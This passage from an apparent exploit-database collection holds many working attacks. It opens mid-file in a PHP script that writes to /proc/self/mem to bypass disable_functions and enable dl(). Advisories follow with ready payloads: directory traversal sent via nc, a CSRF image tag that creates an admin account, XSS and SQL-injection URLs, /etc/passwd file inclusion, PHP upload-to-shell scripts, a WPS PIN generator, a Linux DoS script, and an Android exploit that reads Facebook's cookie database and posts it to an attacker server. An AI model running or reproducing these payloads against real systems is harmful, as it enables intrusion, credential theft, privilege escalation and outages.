					//printf("This pData address maybe in 0x%016x\r\n", $pdata);

					fseek($mem, $pdata + 8); //seek to char* name;
					$name = dump_value($mem, 8);
					$name_t = dump_value($mem, 4);
					//printf("This char name* address maybe in 0x%016x, length:%d\r\n", $name, $name_t);
					fseek($mem, $name);
					$strname = fread($mem, $name_t);
					if(strlen($strname) == 0) break;
					//printf("ini key:%s\r\n", $strname);
					if(strncmp($strname, 'extension_dir', 13) == 0)
					{
						printf("I found the extension_dir offset!\r\n");
						printf("try to set extension_dir value /tmp by ini_set\r\n");
						ini_set('extension_dir', '/tmp');
						printf("try to get extension_dir value by ini_get\r\n");
						var_dump(ini_get('extension_dir'));

						// write string value
						fseek($mem, $pdata + 56); //seek to char* value;
						$value = dump_value($mem, 8);
						$value_t = dump_value($mem, 4);
						printf("This char value* address maybe in 0x%016x, length:%d\r\n", $value, $value_t);
						
						// write data part
					
						$mem_w = fopen("/proc/self/mem", "wb");
						fseek($mem_w, $value);
						fwrite($mem_w, "/tmp\0", 5); //write /tmp value
						printf("retry to get extension_dir value!!!!\r\n");
						var_dump(ini_get('extension_dir'));
						
						error_reporting(0x66778899);
						break;
					}
					//seek to struct bucket *pListNext; ready to read next bucket's address
					fseek($mem, $bucket + 32 + 8);//struct bucket *pListLast;  it's so strage!
				}
			}
			
		}
		else
		{
			printf("now here, restore the value\r\n");
			error_reporting(0x66778899);
		}
	}
}


//set the enable_dl
fseek($mem, 0x00ea1000);
for($i = 0;$i <  0x00ebe000 - 0x00ea1000;$i += 4)
{
	$num = unp(fread($mem, 4));
	if($num == 0x66778899)
	{
		$offset = 0x00ea1000 + $i;
		printf("got noe, offset is:0x%x\r\n", $offset);
		printf("Now set error_reporting to 0x55667788 and reread the value\r\n");
		error_reporting(0x55667788);
		fseek($mem, $offset);
		$num = unp(fread($mem, 4));
		printf("The value is %x\r\n", $num);
		if($num == 0x55667788)
		{
			printf("I found the offset of executor_globals's member error_reporting\r\n");

			printf("read the structure\r\n");
			fseek($mem, $offset);
			fseek($mem, $offset + 392 - 8); //seek to int timeout_seconds member
			$timeout = dump_value($mem, 4);
			if($timeout == 0x41424344)
			{
				error_reporting(E_ALL); //restore the error reporting
				printf("I found the timeout_seconds I seted:0x%08x\r\n", $timeout);
				dump_value($mem, 4);
				$ini_dir = dump_value($mem, 8);
				printf("ini_directives address maybe in 0x%016x\r\n", $ini_dir);
				fseek($mem, $ini_dir + 48); //seek to Bucket **arBuckets;
				$arBucket = dump_value($mem, 8);
				printf("Bucket **arBuckets address maybe in 0x%016x\r\n", $arBucket);
				fseek($mem, $arBucket);
				//try to get the first Bucket address
				for($i = 0;$i < 1000;$i ++)
				{
					$bucket = dump_value($mem, 8);
					//printf("This bucket address maybe in 0x%016x\r\n", $bucket);
					fseek($mem, $bucket + 16); //seek to const void *pData; in struct Bucket
					$pdata = dump_value($mem, 8);
					dump_value($mem, 8);
					//printf("This pData address maybe in 0x%016x\r\n", $pdata);

					fseek($mem, $pdata + 8); //seek to char* name;
					$name = dump_value($mem, 8);
					$name_t = dump_value($mem, 4);
					//printf("This char name* address maybe in 0x%016x, length:%d\r\n", $name, $name_t);
					fseek($mem, $name);
					$strname = fread($mem, $name_t);
					if(strlen($strname) == 0) break;
					//printf("ini key:%s\r\n", $strname);
					if(strncmp($strname, 'enable_dl', 9) == 0)
					{
						printf("I found the enable_dl offset!\r\n");
						printf("try to set enable_dl value true by ini_set\r\n");
						ini_set('enable_dl', true);
						printf("try to get enable_dl value by ini_get\r\n");
						var_dump(ini_get('enable_dl'));

						printf("try to run dl() function\r\n");
						dl('not_exists');

						printf("try to modifiy the modifiable member in memory!\r\n");
						fseek($mem, $pdata + 4);
						$modifiable = dump_value($mem, 4);
						printf("org modifiable value is %x\r\n", $modifiable);
						$mem_w = fopen("/proc/self/mem", "wb");
						fseek($mem_w, $pdata + 4); //seek to modifiable
						fwrite($mem_w, packli(7));
					//check
						fseek($mem, $pdata + 4);
						$modifiable = dump_value($mem, 4);
						printf("now modifiable value is %x\r\n", $modifiable);
						printf("try ini_set enable_dl agen!!!!\r\n");
						ini_set('enable_dl', true);
						printf("now enable_dl seting is\r\n");
						var_dump(ini_get('enable_dl'));
						printf("retry the dl() function!!!!\r\n");
						ini_set('extension_dir', '/tmp');
						dl('not_exists');
						
						
						exit(0);
					}
					//seek to struct bucket *pListNext; ready to read next bucket's address
					fseek($mem, $bucket + 32 + 8);//struct bucket *pListLast;  it's so strage!
				}
			}
			
		}
		else
		{
			printf("now here, restore the value\r\n");
			error_reporting(0x66778899);
		}
	}
}
function unp($value) {
    return hexdec(bin2hex(strrev($value)));
}
function dump_value($dh, $flag)
{
	switch($flag)
	{
		case 4: return unp(fread($dh, 4));
		case 8: return unp(fread($dh, 8));
	}
}
function packlli($value) {
    $higher = ($value & 0xffffffff00000000) >> 32;
    $lower = $value & 0x00000000ffffffff;
    return pack('V2', $lower, $higher);
}
function packli($value) {
    return pack('V', $value);
}
/*
ylbhz@ylbhz-Aspire-5750G:/tmp$ php php_cgimode_fpm_writeprocmemfile_bypass_disablefunction_demo.php
got noe, offset is:0xebd180
Now set error_reporting to 0x55667788 and reread the value
The value is 55667788
I found the offset of executor_globals's member error_reporting
read the structure
I found the timeout_seconds I seted:0x41424344
ini_directives address maybe in 0x00000000024983c0
Bucket **arBuckets address maybe in 0x00000000026171e0
I found the extension_dir offset!
try to set extension_dir value /tmp by ini_set
try to get extension_dir value by ini_get
string(22) "/usr/lib/php5/20121212"
This char value* address maybe in 0x0000000000b5ea53, length:22
retry to get extension_dir value!!!!
string(4) "/tmp"
got noe, offset is:0xebd180
Now set error_reporting to 0x55667788 and reread the value
The value is 55667788
I found the offset of executor_globals's member error_reporting
read the structure
I found the timeout_seconds I seted:0x41424344
ini_directives address maybe in 0x00000000024983c0
Bucket **arBuckets address maybe in 0x00000000026171e0
I found the enable_dl offset!
try to set enable_dl value true by ini_set
try to get enable_dl value by ini_get
string(0) ""
try to run dl() function
PHP Warning:  dl(): Dynamically loaded extensions aren't enabled in /tmp/php_cgimode_fpm_writeprocmemfile_bypass_disablefunction_demo.php on line 326
try to modifiy the modifiable member in memory!
org modifiable value is 4
now modifiable value is 7
try ini_set enable_dl agen!!!!
now enable_dl seting is
string(1) "1"
retry the dl() function!!!!
PHP Warning:  dl(): Unable to load dynamic library '/tmp/not_exists' - /tmp/not_exists: cannot open shared object file: No such file or directory in /tmp/php_cgimode_fpm_writeprocmemfile_bypass_disablefunction_demo.php on line 345
ylbhz@ylbhz-Aspire-5750G:/tmp$ 


ylbhz@ylbhz-Aspire-5750G:/tmp$ php -v
PHP 5.5.9-1ubuntu4.9 (cli) (built: Apr 17 2015 11:44:57) 
Copyright (c) 1997-2014 The PHP Group
Zend Engine v2.5.0, Copyright (c) 1998-2014 Zend Technologies
    with Zend OPcache v7.0.3, Copyright (c) 1999-2014, by Zend Technologies
ylbhz@ylbhz-Aspire-5750G:/tmp$ uname -a
Linux ylbhz-Aspire-5750G 3.13.0-48-generic #80-Ubuntu SMP Thu Mar 12 11:16:15 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
*/
?>
HireHackking 
# Exploit Title: Octogate UTM Admin Interface Directory Traversal
# Date: 26.08.2015
# Software Link: http://www.octogate.com
# Exploit Author: Oliver Karow
# Contact: oliver.karow@gmx.de
# Website: http://www.oliverkarow.de
# Category: Remote Exploit


Affected Products/Versions
--------------------------

Product Name: Octogate
Version: 3.0.12 - Virtual Appliance & Appliance


Product/Company Information
---------------------------

Octogate is a UTM Device, including the following features: Application
Firewall, Intrusion Detection and -Prevention, Stateful- & Deep Packet
Inspection, DoS- and DDoS protection and Reverse Proxy.

Octogate IT Security Systems GmbH is based in Germany.


Vulnerability Description
-------------------------

Octogate UTM Device is managed via web interface. The download function
for SSL-Certifcate and Documentation is accessable without
authentication, and allows access to files outside of the web root via
the script /scripts/download.php.

Example request:

echo -en
"GET /scripts/download.php?file=/../../../../../../octo/etc/ini.d/octogate.ini&type=dl
HTTP/1.0\r\nHost: 192.168.0.177\r\nReferer:
http://192.168.0.177\r\nConnection: close\r\n\r\n" | nc 192.168.0.177 80

Patch Information
-----------------

Patch is available from vendor.

Advisory Information
--------------------

http://www.oliverkarow.de/research/octogate.txt
HireHackking 
source: https://www.securityfocus.com/bid/56933/info

N-central is prone to a cross-site request-forgery vulnerability.

Exploiting this issue may allow a remote attacker to perform certain administrative actions and gain unauthorized access to the affected application. Other attacks are also possible.

N-central 8.0.1 through 8.2.0-1152 are vulnerable; other versions may also be affected. 

<img src="https://ncentral/addAccountActionStep1.do?page=1&pageName=add_account&email=test%40redacted.co.nz&pswd=CSRF123!!!&confirmPassword=CSRF123!!&paperSize=Letter&numberFormat=en_US&statusEnabled=true&type=SO%20Admin&defaultDashboard=All%20Devices&uiSessionTimeOut=20&configRemoteControlEnabled=on&useRemoteControlEnabled=on&rcAvailability=Available&useManagementTaskEnabled=on&firstName=CSRF&lastName=Hacker&phone=&ext=&department=&street1=&street2=&city=&stateProv=&postalCode=&country=&method=Finish"></img>
HireHackking 
source: https://www.securityfocus.com/bid/56937/info

PHP Address Book is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

PHP Address Book 8.1.24.1 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?group=%3CSCRIPT%3Ealert%28String.fromCharCode%2888%2C83
%2C83%29%29%3C%2FSCRIPT%3E
HireHackking 
source: https://www.securityfocus.com/bid/56939/info

The Linux kernel is prone to a local denial-of-service vulnerability.

Attackers can exploit this issue to cause an infinite loop, resulting in a denial-of-service condition. 

#!/usr/bin/env python

## Borrows code from
"""Calculate and manipulate CRC32.
http://en.wikipedia.org/wiki/Cyclic_redundancy_check
-- StalkR
"""
## See https://github.com/StalkR/misc/blob/master/crypto/crc32.py

import struct
import sys
import os

# Polynoms in reversed notation
POLYNOMS = {
  'CRC-32-IEEE': 0xedb88320, # 802.3
  'CRC-32C': 0x82F63B78, # Castagnoli
  'CRC-32K': 0xEB31D82E, # Koopman
  'CRC-32Q': 0xD5828281,
}

class CRC32(object):
  """A class to calculate and manipulate CRC32.
Use one instance per type of polynom you want to use.
Use calc() to calculate a crc32.
Use forge() to forge crc32 by adding 4 bytes anywhere.
"""
  def __init__(self, type="CRC-32C"):
    if type not in POLYNOMS:
      raise Error("Unknown polynom. %s" % type)
    self.polynom = POLYNOMS[type]
    self.table, self.reverse = [0]*256, [0]*256
    self._build_tables()

  def _build_tables(self):
    for i in range(256):
      fwd = i
      rev = i << 24
      for j in range(8, 0, -1):
        # build normal table
        if (fwd & 1) == 1:
          fwd = (fwd >> 1) ^ self.polynom
        else:
          fwd >>= 1
        self.table[i] = fwd & 0xffffffff
        # build reverse table =)
        if rev & 0x80000000 == 0x80000000:
          rev = ((rev ^ self.polynom) << 1) | 1
        else:
          rev <<= 1
        rev &= 0xffffffff
        self.reverse[i] = rev

  def calc(self, s):
    """Calculate crc32 of a string.
       Same crc32 as in (binascii.crc32)&0xffffffff.
    """
    crc = 0xffffffff
    for c in s:
      crc = (crc >> 8) ^ self.table[(crc ^ ord(c)) & 0xff]
    return crc^0xffffffff

  def forge(self, wanted_crc, s, pos=None):
    """Forge crc32 of a string by adding 4 bytes at position pos."""
    if pos is None:
      pos = len(s)

    # forward calculation of CRC up to pos, sets current forward CRC state
    fwd_crc = 0xffffffff
    for c in s[:pos]:
      fwd_crc = (fwd_crc >> 8) ^ self.table[(fwd_crc ^ ord(c)) & 0xff]

    # backward calculation of CRC up to pos, sets wanted backward CRC state
    bkd_crc = wanted_crc^0xffffffff
    for c in s[pos:][::-1]:
      bkd_crc = ((bkd_crc << 8)&0xffffffff) ^ self.reverse[bkd_crc >> 24] ^ ord(c)

    # deduce the 4 bytes we need to insert
    for c in struct.pack('<L',fwd_crc)[::-1]:
      bkd_crc = ((bkd_crc << 8)&0xffffffff) ^ self.reverse[bkd_crc >> 24] ^ ord(c)

    res = s[:pos] + struct.pack('<L', bkd_crc) + s[pos:]
    return res

if __name__=='__main__':

    hack = False
    ITERATIONS = 10
    crc = CRC32()
    wanted_crc = 0x00000000
    for i in range (ITERATIONS):
      for j in range(55):
        str = os.urandom (16).encode ("hex").strip ("\x00")
        if hack:
            f = crc.forge(wanted_crc, str, 4)
            if ("/" not in f) and ("\x00" not in f):
                file (f, 'a').close()
        else:
            file (str, 'a').close ()

      wanted_crc += 1
HireHackking 
source: https://www.securityfocus.com/bid/56953/info

The TimThumb plug-in for WordPress is prone to multiple security vulnerabilities, including:

1. A cross-site scripting vulnerability
2. Multiple security-bypass vulnerabilities
3. An arbitrary file-upload vulnerability
4. An information-disclosure vulnerability
5. Multiple path-disclosure vulnerabilities
6. A denial-of-service vulnerability

Attackers can exploit these issues to bypass certain security restrictions, obtain sensitive information, perform certain administrative actions, gain unauthorized access, upload arbitrary files, compromise the application, access or modify data, cause denial-of-service conditions, steal cookie-based authentication credentials, or control how the site is rendered to the user; other attacks may also be possible. 

XSS (WASC-08) (in versions of Rokbox with older versions of TimThumb):

http://www.example.complugins/wp_rokbox/thumb.php?src=%3Cbody%20onload=alert(document.cookie)%3E.jpg

Full path disclosure (WASC-13):

http://www.example.complugins/wp_rokbox/thumb.php?src=http://

http://www.example.complugins/wp_rokbox/thumb.php?src=http://site/page.png&h=1&w=1111111

http://www.example.complugins/wp_rokbox/thumb.php?src=http://site/page.png&h=1111111&w=1

Abuse of Functionality (WASC-42):

http://www.example.complugins/wp_rokbox/thumb.php?src=http://site&h=1&w=1
http://www.example.complugins/wp_rokbox/thumb.php?src=http://site.flickr.com&h=1&w=1
(bypass of restriction on domain, if such restriction is turned on)

DoS (WASC-10):

http://www.example.complugins/wp_rokbox/thumb.php?src=http://site/big_file&h=1&w=1
http://www.example.complugins/wp_rokbox/thumb.php?src=http://site.flickr.com/big_file&h=1&w=1
(bypass of restriction on domain, if such restriction is turned on)

Arbitrary File Upload (WASC-31):

http://www.example.complugins/wp_rokbox/thumb.php?src=http://flickr.com.site.com/shell.php

Content Spoofing (WASC-12):

In parameter file there can be set as video, as audio files.

http://www.example.complugins/wp_rokbox/thumb.php?file=1.flv&backcolor=0xFFFFFF&screencolor=0xFFFFFF
http://www.example.complugins/wp_rokbox/thumb.php?file=1.flv&image=1.jpg
http://www.example.complugins/wp_rokbox/thumb.php?config=1.xml
http://www.example.complugins/wp_rokbox/jwplayer/jwplayer.swf?abouttext=Player&aboutlink=http://site

XSS (WASC-08):

http://www.example.complugins/wp_rokbox/jwplayer/jwplayer.swf?abouttext=Player&aboutlink=data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ%2B

Information Leakage (WASC-13):

http://www.example.complugins/wp_rokbox/error_log

Leakage of error log with full paths.

Full path disclosure (WASC-13):

http://www.example.complugins/wp_rokbox/rokbox.php
HireHackking 
source: https://www.securityfocus.com/bid/56994/info

ZT Autolinks Component for Joomla! is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to obtain potentially sensitive information or to execute arbitrary local scripts in the context of the web server process. This may allow the attacker to compromise the application and the computer; other attacks are also possible. 

http://www.example.com/index.php?option=com_ztautolink&controller=../../../../../../../../../../../../../../../etc/passwd%00
HireHackking 
source: https://www.securityfocus.com/bid/56995/info

The Bit Component for Joomla! is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to obtain potentially sensitive information or to execute arbitrary local scripts in the context of the web server process. This may allow the attacker to compromise the application and the computer; other attacks are also possible. 

http://www.example.com/index.php?option=com_bit&controller=../../../../../../../../../../../../../../../etc/passwd%00
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=478

The Install.framework runner suid root binary does not correctly account for the fact that Distributed Objects
  can be connected to by multiple clients at the same time.

  By connecting two proxy objects to an IFInstallRunner and calling [IFInstallRunner makeReceiptDirAt:asRoot:]
  in the first and passing a custom object as the directory name we can get a callback to our code just after the
  makeReceiptDirAt code has called seteuid(0);setguid(0) to regain privs. Since BSD priviledges are per-process
  this means that our other proxy object will now have euid 0 without having to provide an authorization reference.

  In this second proxy we can then just call runTaskSecurely and get a root shell before returning from the first proxy's callback function
  which will then drop privs.

  build using the provided makefile and run passing the full path to the localhost shell

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38136.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=314

The private Install.framework has a few helper executables in /System/Library/PrivateFrameworks/Install.framework/Resources,
one of which is suid root:

-rwsr-sr-x   1 root  wheel   113K Oct  1  2014 runner

Taking a look at it we can see that it's vending an objective-c Distributed Object :)
[ https://developer.apple.com/library/mac/documentation/Cocoa/Conceptual/DistrObjects/DistrObjects.html ]

The main function immediately temporarily drops privs doing
  seteuid(getuid()); setegid(getgid());

then reads line from stdin. It passes this to NSConnection rootProxyForConnectionWithRegisteredName to lookup that
name in the DO namespace and create a proxy to connect to it via.

It then allocates an IFInstallRunner which in its init method vends itself using a name made up of its pid, time() and random()

It then calls the setRunnerConnectionName method on the proxy to tell it the IFInstallRunner's DO name so that whoever
ran the runner can connect to the IFInstallRunner.

The IFRunnerMessaging protocol tells us the methods and prototypes of the remote methods we can invoke on the IFInstallRunner.

Most of the methods begin with a call to processKey which will set the euid back to root if the process can provide a valid admin
authorization reference from authd (I'm not totally sure how that bit works yet, but it's not important for the bug.) Otherwise the euid
will remain equal to the uid and the methods (like movePath, touchPath etc) will only run with the privs of the user.

The methods then mostly end with a call to restoreUIDs which will drop back to euid==uid if we did temporarily regain root privs (with the auth ref.)

Not all methods we can invoke are like that though...

IFInstallRunner setExternalAuthorizationRef calls

  seteuid(0);setegid(0);

to regain root privs without requiring any auth. It then calls AuthorizationCreateFromExternalForm passing the bytes of an NSData we give it.

If that call doesn't return 0 then the error branch calls syslog with the string: "Fatal error: unable to internalize authorization reference."
but there's actually nothing fatal, it just returns from the method, whereas the success branch goes on to restore euid and egid, which means
that if we can get AuthorizationCreateFromExternalForm to fail then we can get the priv dropping-regaining state machine out-of-sync :)

Getting AuthorizationCreateFromExternalForm to fail is trivial, just provide a malformed auth_ref (like "AAAAAAAAAAAAAAAAAAA" )

Now the next method we invoke will run with euid 0 even without having the correct auth ref :)

This PoC first calls setBatonPath to point the baton executable path to a localhost bind-shell then triggers the bug
and calls runTaskSecurely which will create an NSTask and launch the bind-shell with euid 0 :) We can then just nc to it and get a root shell

tl;dr:
the error path in setExternalAuthorizationRef should either be fatal or drop privs!

Make sure you have the latest xcode installed and run the get_shell.sh script to build and run the PoC.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38138.zip
HireHackking 
Source: https://code.google.com/p/google-security-research/issues/detail?id=477

Install.framework has a suid root binary here: /System/Library/PrivateFrameworks/Install.framework/Resources/runner
  This binary vends the IFInstallRunner Distributed Object, which has the following method:

  [IFInstallRunner makeReceiptDirAt:asRoot:]

  If you pass 1 for asRoot, then this code will treat the makeReceiptDirAt string as a path and make two directories
  (Library/Receipts) below it. At first glance this code looks immediately racy and no doubt we could play some
  symlink tricks to get arbitrary directories created, but, on second glance, we can do a lot more!

  This code is using distributed objects which is a "transparent" IPC mechanism: what this means in practise is that
  not only can I call methods on the IFInstallRunner object running in the suid root process, but I can also pass it objects
  from my process; when the suid root process then tries to call methods on those object this will actually result in callbacks
  into my process :)

  In this case rather than just passing an NSString as the makeReceiptDirAt parameter I create and pass an instance of my own class
  "InitialPathObject" which behaves a bit like a string but gives me complete control over its behaviour from my process.

  By creating a couple of this custom classes and implementing various methods we can reach calls to mkdir, chown and unlink with euid == 0.
  We can completely control the string passed to mkdir and unlink.
  In the chown case the code will chown our controlled path to root:admin; regular os x users are members of the admin group which means that this
  will give the user access to files which previously belonged to a different group.

  To hit the three actions (mkdir, chown and unlink) with controlled arguments we need to override various
  combinations of selectors and fail at the right points:

  InitialPathObject = the object we pass to the makeReceiptDirAt selector
    overrides: - stringByAppendingPathComponent
                 * will be called twice:
                    * first time:  return an NSString* pointing to a non-existant file
                    * second time: return SecondFakeStringObject

  SecondFakeStringObject = returned by the second call to stringByAppendingPathComponent
    overrides: - length
                 * will be called by the NSFileManager?
                 * return length of path to non-existant file
               - getCharacters:
                 * will be called by the NSFileManager?
                 * return character of the non-existant file path
               - fileSystemRepresentation
                 * for MKDIR:
                   * first time: return char* of the target path
                   * second time: return char* to non-existant file
                   * third time: return char* to non-existant file
                 * for CHOWN:
                   * first time: return char* of temporary directory to create and ignore
                   * second time: return char* of target path
                 * for UNLINK:
                   * first time: return char* of temporary directory to create and ignore
                   * second time: return char* to non-existant file
                   * third time: return char* to path to unlink
               - stringByAppendingPathComponent:
                 * for MKDIR:
                   * not called
                 * for CHOWN:
                   * return NSString* pointing to file which does exist // to bail out before creating /Receipts
                 * for UNLINK
                   * not called

  build: clang -o as_root_okay_then_poc as_root_okay_then_poc.m -framework Foundation
  run: ./as_root_okay_then_poc MKDIR|CHOWN|UNLINK <target>

  note that this will create some root-owned temporary directories in /tmp which will need to be manually cleaned up

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38137.zip
HireHackking 
source: https://www.securityfocus.com/bid/57128/info

Belkin Wireless Router is prone to a security vulnerability that may allow attackers to generate a default WPS PIN.

Successfully exploiting this issue may allow attackers to generate the default WPS PIN. This may lead to other attacks.

Belkin N900 F9K1104v1 is vulnerable; other versions may also be affected.

@author       : e.novellalorente@student.ru.nl
Original work : ZhaoChunsheng 04/07/2012
 
'''
 
import sys
 
VERSION    = 0
SUBVERSION = 2
 
def usage():
    print "[+] WPSpin %d.%d " % (VERSION, SUBVERSION)
    print "[*] Usage : python WPSpin.py 123456"
    sys.exit(0)
 
def wps_pin_checksum(pin):
    accum = 0
 
    while(pin):
        accum += 3 * (pin % 10)
        pin /= 10
        accum += pin % 10
        pin /= 10
    return  (10 - accum % 10) % 10
 
try:
    if (len(sys.argv[1]) == 6):
        p = int(sys.argv[1] , 16) % 10000000
        print "[+] WPS pin is : %07d%d" % (p, wps_pin_checksum(p))
    else:
        usage()
except Exception:
    usage()
HireHackking 
source: https://www.securityfocus.com/bid/57098/info

The Xerte Online plug-in for WordPress is prone to a vulnerability that lets attackers upload arbitrary files.

An attacker may leverage this issue to upload arbitrary files to the affected computer; this can result in arbitrary code execution within the context of the vulnerable application.

Xerte Online 0.32 is vulnerable; other versions may also be affected.

##################################################
# Description : Wordpress Plugins - Xerte Online Arbitrary File Upload Vulnerability
# Version : 0.32
# Link : http://wordpress.org/extend/plugins/xerte-online/
# Plugins : http://downloads.wordpress.org/plugin/xerte-online.0.32.zip
# Date : 30-12-2012
# Google Dork : inurl:/wp-content/plugins/xerte-online/
# Author : Sammy FORGIT - sam at opensyscom dot fr - http://www.opensyscom.fr
##################################################

Exploit :

PostShell.php
<?php

$code = "[CODE PHP]";
$ch = curl_init("http://www.example.com/wordpress/wp-content/plugins/xerte-online/xertefiles/save.php");
curl_setopt($ch, CURLOPT_POST, true);   
curl_setopt($ch, CURLOPT_POSTFIELDS,
        array('filename'=>"/wordpress/wp-content/plugins/xerte-online/xertefiles/lo-xerte.php",
                'filedata'=>"$code"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";

?>


Shell Access :
http://www.example.com/wordpress/wp-content/plugins/xerte-online/xertefiles/lo-xerte.php
HireHackking 
source: https://www.securityfocus.com/bid/57101/info

The WordPress Shopping Cart plugin for WordPress is prone to multiple SQL-injection vulnerabilities and an arbitrary file-upload vulnerability because it fails to sanitize user-supplied data.

Exploiting these issues could allow an attacker to compromise the application, execute arbitrary code, access or modify data, or exploit latent vulnerabilities in the underlying database.

WordPress Shopping Cart 8.1.14 is vulnerable; other versions may also be affected. 

http://www.example.com/wordpress/wp-content/plugins/levelfourstorefront/scripts/administration/exportsubscribers.php?reqID=1' or 1='1
HireHackking 
source: https://www.securityfocus.com/bid/57101/info
 
The WordPress Shopping Cart plugin for WordPress is prone to multiple SQL-injection vulnerabilities and an arbitrary file-upload vulnerability because it fails to sanitize user-supplied data.
 
Exploiting these issues could allow an attacker to compromise the application, execute arbitrary code, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
WordPress Shopping Cart 8.1.14 is vulnerable; other versions may also be affected. 

http://www.example.com/wordpress/wp-content/plugins/levelfourstorefront/scripts/administration/backup.php?reqID=1' or 1='1
HireHackking 
source: https://www.securityfocus.com/bid/57101/info
  
The WordPress Shopping Cart plugin for WordPress is prone to multiple SQL-injection vulnerabilities and an arbitrary file-upload vulnerability because it fails to sanitize user-supplied data.
  
Exploiting these issues could allow an attacker to compromise the application, execute arbitrary code, access or modify data, or exploit latent vulnerabilities in the underlying database.
  
WordPress Shopping Cart 8.1.14 is vulnerable; other versions may also be affected. 

http://www.example.com/wordpress/wp-content/plugins/levelfourstorefront/scripts/administration/exportaccounts.php?reqID=1' or 1='1
HireHackking 
source: https://www.securityfocus.com/bid/57111/info

osTicket is prone to multiple input-validation vulnerabilities including:

1. Multiple cross-site scripting vulnerabilities
2. An open-redirection vulnerability
3. Multiple SQL-injection vulnerabilities

An attacker may leverage these issues to perform spoofing and phishing attacks, to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database and execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site.

osTicket 1.7 DPR3 is vulnerable; other versions may also be affected.

http://www.example.com/learn/ostickRC/scp/l.php?url=http://www.example2.com
HireHackking 
source: https://www.securityfocus.com/bid/57111/info
 
osTicket is prone to multiple input-validation vulnerabilities including:
 
1. Multiple cross-site scripting vulnerabilities
2. An open-redirection vulnerability
3. Multiple SQL-injection vulnerabilities
 
An attacker may leverage these issues to perform spoofing and phishing attacks, to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database and execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site.
 
osTicket 1.7 DPR3 is vulnerable; other versions may also be affected.

http://www.example.com/learn/ostickRC/scp/tickets.php?a=export&h=9c2601b88c05055b51962b140f5121389&status=%22%20onmouseover=%22alert%281%29%22
HireHackking 
source: https://www.securityfocus.com/bid/57112/info

The Uploader plugin for WordPress is prone to an arbitrary file-upload vulnerability because it fails to adequately validate files before uploading them.

An attacker may leverage this issue to upload arbitrary files to the affected computer; this can result in an arbitrary code execution within the context of the vulnerable application.

Uploader 1.0.4 is vulnerable; other versions may also be affected. 

PostShell.php
<?php

$uploadfile="lo.php";
$ch = curl_init("http://www.example.com/wordpress/wp-content/plugins/uploader/uploadify/uploadify.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
array('Filedata'=>"@$uploadfile",
'folder'=>"/wordpress/wp-content/uploads",
'fileext'=>'php'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";

?>

Shell Access :
http://www.example.com/wordpress/wp-content/uploads/lo.php

lo.php
<?php
phpinfo();
?>
HireHackking 
source: https://www.securityfocus.com/bid/57173/info

Facebook for Android is prone to an information-disclosure vulnerability.

Successful exploits allows an attacker to gain access to sensitive information. Information obtained may aid in further attacks.

Facebook for Android 1.8.1 is vulnerable; other versions may also be affected.

++++++ Attacker's app (activity) ++++++
  
  // notice: for a successful attack, the victim user must be logged-in
  // to Facebook in advance.
  public class AttackFacebook extends Activity {

      // package name of Facebook app
      static final String FB_PKG = "com.facebook.katana";
  
      // LoginActivity of Facebook app
      static final String FB_LOGIN_ACTIVITY
           = FB_PKG + ".LoginActivity";
  
      // FacebookWebViewActivity of Facebook app
      static final String FB_WEBVIEW_ACTIVITY
           = FB_PKG + ".view.FacebookWebViewActivity";
  
      @Override
      public void onCreate(Bundle bundle) {
          super.onCreate(bundle);
          attack();
      }
  
      // main method
      public void attack() {
          // create continuation_intent to call FacebookWebViewActivity.
          Intent contIntent = new Intent();
          contIntent.setClassName(FB_PKG, FB_WEBVIEW_ACTIVITY);
          // URL pointing to malicious local file.
          // FacebookWebViewActivity will load this URL into its WebView.
          contIntent.putExtra("url", "file:///sdcard/attack.html");
  
          // create intent to be sent to LoginActivity.
          Intent intent = new Intent();
          intent.setClassName(FB_PKG, FB_LOGIN_ACTIVITY);
          intent.putExtra("login_redirect", false);
  
          // put continuation_intent into extra data of the intent.
          intent.putExtra(FB_PKG + ".continuation_intent", contIntent);
  
          // call LoginActivity
          this.startActivity(intent);
      }
  }

  ++++++ Attacker's HTML/JavaScript file ++++++
  
  <!--
  attacker's app should put this file to /sdcard/attack.html in advance
  -->
 <html>
  <body onload="doAttack()">
  <h1>attack.html</h1>
  <script>
  // file path to steal. webview.db can be a good target for attackers
  // because it contains cookies, formdata etc.
  var target = "file:///data/data/com.facebook.katana/databases/webview.db";
  
  // get the contents of the target file by XHR
  function doAttack() {
      var xhr1 = new XMLHttpRequest();
      xhr1.overrideMimeType("text/plain; charset=iso-8859-1");
      xhr1.open("GET", target);
      xhr1.onreadystatechange = function() {
          if (xhr1.readyState == 4) {
              var content = xhr1.responseText;
              // send the content of the file to attacker's server
              sendFileToAttackerServer(content);
              // for debug
              document.body.appendChild(document.createTextNode(content));
          }
      };
      xhr1.send();
  }
  
  // Send the content of target file to the attacker's server
  function sendFileToAttackerServer(content) {
      var xhr2 = new XMLHttpRequest();
      xhr2.open("POST", "http://www.example.jp/";);
      xhr2.send(encodeURIComponent(content));
  }
  </script>
  </body>
  </html>
HireHackking 
